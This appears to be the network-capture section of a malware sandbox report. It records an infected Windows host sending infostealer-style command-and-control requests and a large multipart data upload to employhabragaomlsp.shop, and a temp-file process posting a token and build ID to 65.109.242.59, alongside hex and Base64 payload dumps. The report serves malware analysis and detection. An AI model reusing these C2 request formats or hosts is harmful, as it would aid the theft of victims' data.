2024-05-24 11:43:29 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:29 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qdhbhach6p0o7j5ustsi1v4m7m; expires=Tue, 17-Sep-2024 05:30:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KdRm6rSPMrusbomJ0mfu%2F8na2qET03boi5%2F7cf7E7m39xE4E3Ggj9DVeeDaOxpqq%2BKvTGXDVRjFVKGeo63qHR%2Bf81%2F72hcQ0vkKLb4VWUqSYz9K2tUJj9BXsNV0PHElc2r7%2F44ozqdq4Lg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0740a921436d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:29 UTC	551	IN	Data Raw: 33 38 31 38 0d 0a 61 38 42 35 4b 76 44 4a 30 66 67 73 62 73 48 6b 69 65 37 64 38 39 64 6e 44 6c 4e 51 43 64 68 71 53 55 4b 6f 6f 4f 5a 51 66 77 6f 51 34 67 38 49 79 76 33 39 32 6c 38 4c 34 39 37 39 6e 4b 69 57 2b 30 56 76 4e 33 49 7a 76 67 73 6c 4d 63 32 4d 78 44 55 48 4b 46 47 62 41 67 69 56 70 2f 50 43 44 67 75 72 68 75 69 43 76 35 4b 38 43 48 34 2f 4d 32 47 30 44 53 45 6e 79 38 53 48 50 42 4a 76 44 71 55 59 51 4a 36 67 76 4a 42 42 54 4f 33 47 37 4a 54 2f 79 66 55 71 61 79 63 78 52 4c 6b 5a 49 6d 44 56 6a 4a 31 79 47 6d 52 4a 2b 6c 74 4c 6c 61 75 39 6e 6b 67 46 71 59 7a 68 69 72 36 58 76 52 64 6e 4e 54 68 68 75 67 34 67 4c 63 4c 51 69 6a 59 56 5a 41 69 76 47 41 6a 63 36 37 53 43 44 6c 54 6a 31 64 6d 50 72 6f 43 67 43 48 77 33 63 6e 54 30 45 57 73 6e 78 Data Ascii: 3818a8B5KvDJ0fgsbsHkie7d89dnDlNQCdhqSUKooOZQfwoQ4g8Iyv392l8L4979nKiW+0VvN3IzvgslMc2MxDUHKFGbAgiVp/PCDgurhuiCv5K8CH4/M2G0DSEny8SHPBJvDqUYQJ6gvJBBTO3G7JT/yfUqaycxRLkZImDVjJ1yGmRJ+ltLlau9nkgFqYzhir6XvRdnNThhug4gLcLQijYVZAivGAjc67SCDlTj1dmProCgCHw3cnT0EWsnx
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 43 37 45 78 5a 4a 79 41 69 59 51 34 68 78 45 30 76 50 7a 6c 45 73 44 73 59 66 35 69 62 47 44 75 51 42 71 50 44 46 6c 75 67 30 73 4c 63 54 45 67 7a 45 56 62 41 69 73 46 30 4b 52 72 37 44 61 41 45 79 6b 6e 71 76 55 2f 36 43 32 41 57 73 6a 4d 57 58 36 46 32 55 35 69 73 57 49 63 6b 55 6f 41 36 51 57 51 5a 6d 73 75 35 5a 63 42 36 79 46 34 6f 75 35 6d 37 59 4e 5a 6a 63 38 61 72 30 4e 4c 44 4c 45 79 59 6b 78 46 32 35 4a 37 46 74 50 69 75 76 72 32 6d 41 50 73 70 44 5a 6a 36 36 41 39 52 6f 69 4b 48 4a 73 74 6b 68 7a 59 4d 50 4b 69 7a 38 51 59 67 65 6e 46 6b 47 54 71 72 36 63 52 51 32 72 6a 75 2b 4c 76 35 57 34 43 6d 49 78 50 47 4f 2f 44 43 45 70 69 6f 7a 45 4e 51 55 6f 55 65 49 72 52 5a 36 67 76 39 68 37 44 36 32 49 37 4a 72 2f 6a 76 73 63 4c 44 59 2b 4b 2b 4a 49 Data Ascii: C7ExZJyAiYQ4hxE0vPzlEsDsYf5ibGDuQBqPDFlug0sLcTEgzEVbAisF0KRr7DaAEyknqvU/6C2AWsjMWX6F2U5isWIckUoA6QWQZmsu5ZcB6yF4ou5m7YNZjc8ar0NLDLEyYkxF25J7FtPiuvr2mAPspDZj66A9RoiKHJstkhzYMPKiz8QYgenFkGTqr6cRQ2rju+Lv5W4CmIxPGO/DCEpiozENQUoUeIrRZ6gv9h7D62I7Jr/jvscLDY+K+JI
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 2b 41 4e 52 77 6f 52 2b 49 63 55 4e 4c 7a 38 36 78 65 41 61 2b 6f 34 49 43 32 30 61 70 4c 64 58 45 31 5a 2f 70 51 61 79 54 47 79 6f 34 39 46 47 49 44 72 52 4a 49 6d 71 4b 36 6d 55 34 41 70 59 66 6e 67 4c 4b 55 74 67 42 68 4e 44 4a 6e 76 51 38 71 59 49 53 43 67 79 70 64 4d 45 6d 53 46 6b 53 5a 70 2f 47 76 54 51 4b 74 67 66 33 4d 6f 4e 2b 73 52 57 73 39 63 6a 50 36 42 79 6f 74 77 4d 6d 4b 50 68 78 6f 44 61 45 52 53 4a 32 75 74 5a 4a 48 44 4c 47 42 35 49 32 2b 6d 72 34 49 59 6a 51 7a 62 72 31 49 5a 57 44 4e 32 73 52 71 58 55 55 67 6d 46 74 58 33 4c 4c 7a 6e 55 4a 4d 2b 38 62 76 68 72 2b 63 76 77 35 6a 4d 6a 56 6c 75 67 55 68 4d 73 4c 43 68 44 77 62 61 51 57 6e 47 6b 53 52 75 62 2b 63 51 77 71 72 6c 4b 76 43 2f 35 61 74 52 54 52 78 45 6d 43 32 43 79 63 68 7a Data Ascii: +ANRwoR+IcUNLz86xeAa+o4IC20apLdXE1Z/pQayTGyo49FGIDrRJImqK6mU4ApYfngLKUtgBhNDJnvQ8qYISCgypdMEmSFkSZp/GvTQKtgf3MoN+sRWs9cjP6ByotwMmKPhxoDaERSJ2utZJHDLGB5I2+mr4IYjQzbr1IZWDN2sRqXUUgmFtX3LLznUJM+8bvhr+cvw5jMjVlugUhMsLChDwbaQWnGkSRub+cQwqrlKvC/5atRTRxEmC2Cychz
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 53 59 52 75 68 46 30 61 56 70 62 2b 55 51 77 61 67 69 36 76 43 2f 35 61 74 52 54 52 78 48 6d 79 33 4a 69 41 73 7a 59 4b 62 66 41 51 6f 44 71 35 62 45 4e 4b 6e 75 5a 5a 48 44 4b 71 44 34 34 65 32 6c 4c 51 4f 61 54 49 30 5a 72 55 42 4f 53 72 4a 7a 49 63 2b 45 57 34 49 6f 51 6c 41 6d 2b 76 39 32 6b 6b 55 34 39 36 72 72 62 47 63 6f 51 4a 38 63 53 30 6c 6f 30 67 73 4c 49 71 61 78 44 45 63 5a 77 71 6a 46 6b 36 62 6f 37 4f 63 53 77 4f 75 69 4f 79 4c 76 35 79 37 43 6d 6f 35 50 32 65 78 42 69 49 6d 79 73 4f 4f 63 6c 4d 6f 44 72 70 62 45 4e 4b 62 73 4a 70 4f 46 2b 4f 5a 70 5a 58 2f 6c 72 6c 46 4e 48 45 67 59 62 4d 49 4b 43 2f 4e 78 6f 38 2b 47 47 30 47 6f 52 4a 4e 6d 36 57 68 6b 30 41 45 71 34 6e 75 68 37 2b 63 76 77 6c 73 4d 6e 49 6c 2b 67 38 7a 59 4a 4b 43 74 6a Data Ascii: SYRuhF0aVpb+UQwagi6vC/5atRTRxHmy3JiAszYKbfAQoDq5bENKnuZZHDKqD44e2lLQOaTI0ZrUBOSrJzIc+EW4IoQlAm+v92kkU496rrbGcoQJ8cS0lo0gsLIqaxDEcZwqjFk6bo7OcSwOuiOyLv5y7Cmo5P2exBiImysOOclMoDrpbENKbsJpOF+OZpZX/lrlFNHEgYbMIKC/Nxo8+GG0GoRJNm6Whk0AEq4nuh7+cvwlsMnIl+g8zYJKCtj
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 70 42 52 42 6b 61 69 36 6e 55 59 41 71 59 58 73 7a 50 48 52 73 68 30 73 61 58 4a 49 72 52 67 6d 59 4e 57 4d 6e 58 49 61 5a 45 6e 36 57 30 43 66 6f 37 6d 65 53 51 47 6b 67 4f 4b 65 74 70 53 37 42 57 67 36 50 57 32 2b 43 79 73 79 7a 4d 61 4d 4d 52 42 6c 42 36 45 66 43 4e 7a 72 74 49 49 4f 56 4f 4f 30 35 6f 4b 6b 6e 72 49 55 5a 6e 45 74 4a 61 4e 49 4c 43 79 4b 6d 73 51 32 45 33 6f 43 6f 78 42 44 6e 4b 79 38 6e 30 51 4d 72 49 4c 6f 67 72 53 51 74 67 31 68 50 44 78 68 73 77 45 73 4c 4d 37 46 78 48 78 64 62 78 48 69 51 77 69 35 69 70 36 32 53 52 62 6a 6d 61 57 56 2f 35 61 35 52 54 52 78 50 6d 4b 32 41 69 41 6e 77 4d 79 4e 50 42 5a 36 47 36 45 66 53 35 75 6f 74 4a 4e 41 44 4b 53 44 35 59 75 2b 6d 72 45 50 62 7a 64 79 4a 66 6f 50 4d 32 43 53 67 71 67 78 48 57 55 Data Ascii: pBRBkai6nUYAqYXszPHRsh0saXJIrRgmYNWMnXIaZEn6W0Cfo7meSQGkgOKetpS7BWg6PW2+CysyzMaMMRBlB6EfCNzrtIIOVOO05oKknrIUZnEtJaNILCyKmsQ2E3oCoxBDnKy8n0QMrILogrSQtg1hPDxhswEsLM7FxHxdbxHiQwi5ip62SRbjmaWV/5a5RTRxPmK2AiAnwMyNPBZ6G6EfS5uotJNADKSD5Yu+mrEPbzdyJfoPM2CSgqgxHWU
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 70 4f 73 75 35 64 63 44 36 79 4a 37 34 79 77 6c 37 4d 45 59 7a 63 31 59 72 73 41 4c 47 43 45 67 6f 4d 71 58 54 42 4a 6a 42 78 4c 6c 75 75 73 31 46 64 4d 70 49 71 72 31 50 2b 52 76 77 39 6d 50 7a 4a 73 71 41 34 69 49 4d 6e 51 68 7a 51 56 62 67 57 75 46 6b 43 62 71 37 61 52 51 77 65 75 67 4f 75 48 76 74 48 37 52 57 73 70 63 6a 50 36 4f 53 59 75 7a 73 79 48 49 68 6f 6f 46 75 77 43 43 4a 57 6e 38 38 49 4f 41 36 71 55 37 49 6d 33 6d 4c 55 4c 5a 54 67 31 62 37 6b 4a 4c 79 7a 46 79 34 63 36 48 47 41 47 6f 52 74 44 6d 71 47 79 6c 45 74 4d 37 63 62 73 6c 50 2f 4a 39 53 70 76 4e 44 6c 71 2b 43 38 74 4a 38 61 43 6d 33 77 45 4b 41 36 75 57 78 44 53 71 4c 65 55 52 77 4f 6e 6a 4f 79 4d 75 4a 65 31 44 57 63 38 4f 58 6d 2f 42 69 34 68 79 73 4f 4c 50 68 31 36 44 4b 77 51 Data Ascii: pOsu5dcD6yJ74ywl7MEYzc1YrsALGCEgoMqXTBJjBxLluus1FdMpIqr1P+Rvw9mPzJsqA4iIMnQhzQVbgWuFkCbq7aRQweugOuHvtH7RWspcjP6OSYuzsyHIhooFuwCCJWn88IOA6qU7Im3mLULZTg1b7kJLyzFy4c6HGAGoRtDmqGylEtM7cbslP/J9SpvNDlq+C8tJ8aCm3wEKA6uWxDSqLeURwOnjOyMuJe1DWc8OXm/Bi4hysOLPh16DKwQ
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 53 55 53 41 7a 6a 79 4b 75 44 2f 38 6d 4d 52 53 52 78 44 53 58 36 45 47 74 34 69 76 65 48 50 42 4e 76 48 37 4e 57 61 34 53 6d 76 4a 46 50 54 4f 33 47 37 63 7a 6e 77 66 74 46 61 43 42 79 4d 2b 70 61 63 48 57 5a 6c 64 52 67 41 69 59 51 34 67 30 49 79 76 6e 39 32 6c 78 4d 2b 38 61 73 67 72 4b 51 74 67 74 76 49 79 42 74 75 52 34 6f 5a 2f 54 38 70 54 38 57 5a 41 53 74 45 48 61 73 69 72 36 52 51 67 47 73 6a 64 57 79 71 70 4b 37 43 32 73 6e 49 79 76 30 53 43 52 67 6b 76 76 45 65 6c 31 58 52 2b 49 44 43 4d 72 72 68 70 6c 41 41 71 53 51 2b 73 47 65 6e 4c 34 4a 59 54 34 35 4b 2f 52 49 4c 57 43 53 6b 73 70 79 47 58 6c 4a 2b 6b 73 61 79 66 37 67 7a 52 35 65 76 4d 6a 79 7a 4b 6e 52 37 56 63 69 63 53 41 72 34 6b 68 73 49 39 6a 51 67 6a 45 4c 61 30 36 63 4a 57 75 46 76 Data Ascii: SUSAzjyKuD/8mMRSRxDSX6EGt4iveHPBNvH7NWa4SmvJFPTO3G7cznwftFaCByM+pacHWZldRgAiYQ4g0Iyvn92lxM+8asgrKQtgtvIyBtuR4oZ/T8pT8WZAStEHasir6RQgGsjdWyqpK7C2snIyv0SCRgkvvEel1XR+IDCMrrhplAAqSQ+sGenL4JYT45K/RILWCSkspyGXlJ+ksayf7gzR5evMjyzKnR7VcicSAr4khsI9jQgjELa06cJWuFv
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 4d 72 4d 61 7a 74 66 2f 5a 39 54 6f 69 63 53 6f 72 34 6b 67 65 49 38 54 4d 67 79 51 4d 4a 53 79 31 47 46 69 55 71 50 50 55 44 67 72 6a 33 72 76 43 2f 35 57 6b 52 54 52 68 59 44 44 76 57 33 78 77 6d 4e 33 4b 4b 31 31 2b 53 66 70 4a 42 74 4b 35 38 38 49 4f 53 36 43 55 2b 59 71 38 68 37 5a 43 55 67 38 55 61 4b 73 43 43 69 33 61 78 62 6f 4d 43 47 73 48 72 42 78 65 67 2b 76 39 32 6b 46 4d 2b 37 2b 72 78 50 4f 58 74 68 4d 73 44 6e 77 72 6f 6b 68 7a 59 50 2f 42 69 6a 77 61 66 68 6a 76 50 55 75 44 6f 5a 4b 58 58 67 76 6a 79 4b 75 4b 2f 38 6e 6d 53 79 77 31 49 79 76 69 57 48 6c 37 6e 35 48 54 59 6b 39 33 52 37 74 62 58 74 4c 7a 34 64 51 4f 48 75 50 65 71 38 75 38 67 36 63 44 62 79 63 78 4c 49 51 32 48 69 50 45 7a 49 4d 6b 4b 47 73 59 6f 52 74 44 72 4a 57 53 6c 45 Data Ascii: MrMaztf/Z9ToicSor4kgeI8TMgyQMJSy1GFiUqPPUDgrj3rvC/5WkRTRhYDDvW3xwmN3KK11+SfpJBtK588IOS6CU+Yq8h7ZCUg8UaKsCCi3axboMCGsHrBxeg+v92kFM+7+rxPOXthMsDnwrokhzYP/BijwafhjvPUuDoZKXXgvjyKuK/8nmSyw1IyviWHl7n5HTYk93R7tbXtLz4dQOHuPeq8u8g6cDbycxLIQ2HiPEzIMkKGsYoRtDrJWSlE
2024-05-24 11:43:29 UTC	1369	IN	Data Raw: 37 4a 7a 39 74 37 59 54 62 33 46 38 4b 36 4a 49 63 32 44 2b 79 5a 41 78 45 32 34 43 34 67 51 47 69 2b 75 6c 32 68 5a 66 37 63 62 35 7a 4f 66 52 38 67 74 68 4d 44 46 6c 75 52 6f 35 4a 73 6e 55 68 33 55 6a 56 6c 6a 32 53 57 69 43 70 71 61 4c 53 52 79 64 75 4d 75 63 73 6f 53 6b 41 6e 77 50 44 46 79 72 44 7a 74 69 37 4d 47 53 4d 56 30 6d 53 62 70 62 45 4e 4c 36 35 38 68 75 48 4b 36 54 2b 6f 75 76 30 61 70 4c 64 58 45 6b 4b 2b 4a 62 5a 57 44 59 67 74 78 79 57 6d 59 45 6f 78 68 47 6b 62 6d 68 6e 45 30 61 6f 4d 48 56 73 70 36 63 74 43 52 68 4d 41 78 56 6d 68 67 6d 4e 64 76 46 6c 41 77 6a 58 78 69 6c 43 77 71 30 71 4b 57 5a 44 6b 4c 6a 6e 71 76 55 2f 37 43 34 42 45 30 38 4d 79 75 6c 52 6a 4a 67 33 49 4c 63 59 6c 4d 6f 47 2b 4a 44 43 4e 57 6f 6f 59 68 49 44 37 57 Data Ascii: 7Jz9t7YTb3F8K6JIc2D+yZAxE24C4gQGi+ul2hZf7cb5zOfR8gthMDFluRo5JsnUh3UjVlj2SWiCpqaLSRyduMucsoSkAnwPDFyrDzti7MGSMV0mSbpbENL658huHK6T+ouv0apLdXEkK+JbZWDYgtxyWmYEoxhGkbmhnE0aoMHVsp6ctCRhMAxVmhgmNdvFlAwjXxilCwq0qKWZDkLjnqvU/7C4BE08MyulRjJg3ILcYlMoG+JDCNWooYhID7W

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	63733	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:29 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:29 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:43:30 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1rqns11s0c3o3fgao89scrc9dv; expires=Tue, 17-Sep-2024 05:30:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EqQ9wvtq%2BK4T6lO8BnUM%2Bsb0ns2F223BiGv%2BN2aqJWZ4X3lDkWw9ZchTiBhQLCu6Jg372gDpbxSuCIBot4aq3FlK%2BFRYFjSwx06heUwdU5XjZIz6gBmhv%2F9GelPcBUyooclkHpUzExEOuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07449b97433a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	63734	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:30 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:30 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------FIDGDAKFHIEHJKFHDHDBCont
2024-05-24 11:43:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	63739	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:30 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:30 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:31 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q8us64i8bj9pobo4n8t93ievvt; expires=Tue, 17-Sep-2024 05:30:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PvHnj0Zap1CxudYepMGq37%2FUZ1sILZTDdVegLckMONO1XtsxycnM4474b6zSwaYmfU%2Fc9lnXlUEaXDaX4hc0AjiegXwhY1Ogw68%2BBG7GLbeakZGYxeETdytc2WLyNCv1%2BCF0HGigCNPTfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0748ca5441e6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:31 UTC	555	IN	Data Raw: 33 38 31 38 0d 0a 6f 35 6a 31 4d 39 6d 6b 79 30 5a 6b 30 62 5a 4c 4e 6d 41 48 72 68 64 42 30 57 46 36 73 68 6e 6c 41 46 52 6b 33 4c 35 52 58 33 33 59 75 6f 4d 52 34 35 44 6e 5a 42 65 30 6c 48 46 43 45 6e 4c 4c 4f 32 4f 77 42 56 69 49 66 34 52 73 4a 77 48 77 6e 44 51 6e 58 35 6e 44 6a 68 47 38 79 75 6c 38 52 72 54 63 4b 56 63 4d 5a 63 39 38 4c 71 45 4e 47 64 70 31 67 6d 67 78 42 37 6a 66 50 54 49 59 78 76 32 55 57 62 66 4e 70 69 34 4a 38 35 70 70 55 78 6f 6c 6c 44 55 4d 74 42 55 62 2f 33 69 57 61 33 59 5a 38 4d 56 7a 4f 68 4f 42 6f 74 64 53 76 4d 61 6e 49 41 43 36 33 69 4e 65 42 47 54 4b 66 54 47 34 42 78 4c 61 65 34 46 70 4f 77 36 73 30 6a 63 31 45 38 44 33 6c 42 48 31 68 71 34 38 52 75 75 55 65 6d 59 42 64 4e 31 67 4c 71 4d 46 57 4d 38 31 6e 69 49 78 43 Data Ascii: 3818o5j1M9mky0Zk0bZLNmAHrhdB0WF6shnlAFRk3L5RX33YuoMR45DnZBe0lHFCEnLLO2OwBViIf4RsJwHwnDQnX5nDjhG8yul8RrTcKVcMZc98LqENGdp1gmgxB7jfPTIYxv2UWbfNpi4J85ppUxollDUMtBUb/3iWa3YZ8MVzOhOBotdSvManIAC63iNeBGTKfTG4BxLae4FpOw6s0jc1E8D3lBH1hq48RuuUemYBdN1gLqMFWM81niIxC
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 63 70 7a 49 6c 48 59 75 70 42 64 2b 35 37 70 4b 67 4f 38 78 69 68 47 42 32 76 65 65 53 61 31 44 68 76 65 65 34 4a 6c 4f 77 69 34 32 7a 41 31 47 38 44 30 6d 31 75 34 77 71 70 6b 53 50 50 54 4d 52 52 61 4a 66 31 32 4a 37 51 52 47 39 34 37 6d 43 77 76 52 72 6e 51 63 32 56 66 79 2f 79 61 57 4c 44 42 6f 53 67 55 75 4e 73 71 58 51 56 6a 78 6e 59 72 75 51 55 57 30 58 79 43 5a 53 51 49 74 64 45 77 4e 78 6d 42 74 4e 64 57 6f 34 62 78 5a 43 69 77 78 54 39 6d 41 58 54 64 4e 54 7a 39 47 6c 6a 58 64 38 63 36 64 67 2b 32 30 7a 34 77 46 63 2f 2f 6d 6c 69 36 78 36 51 69 44 62 4c 63 49 56 41 46 5a 63 68 34 4c 4c 30 44 46 74 68 2b 67 32 67 2f 52 76 43 63 4e 43 56 66 6d 62 71 6e 58 4c 66 4e 70 57 59 7a 73 4e 6f 6e 55 78 51 6c 30 7a 73 36 38 77 51 55 6b 43 50 48 63 44 30 4c Data Ascii: cpzIlHYupBd+57pKgO8xihGB2veeSa1Dhvee4JlOwi42zA1G8D0m1u4wqpkSPPTMRRaJf12J7QRG947mCwvRrnQc2Vfy/yaWLDBoSgUuNsqXQVjxnYruQUW0XyCZSQItdEwNxmBtNdWo4bxZCiwxT9mAXTdNTz9GljXd8c6dg+20z4wFc//mli6x6QiDbLcIVAFZch4LL0DFth+g2g/RvCcNCVfmbqnXLfNpWYzsNonUxQl0zs68wQUkCPHcD0L
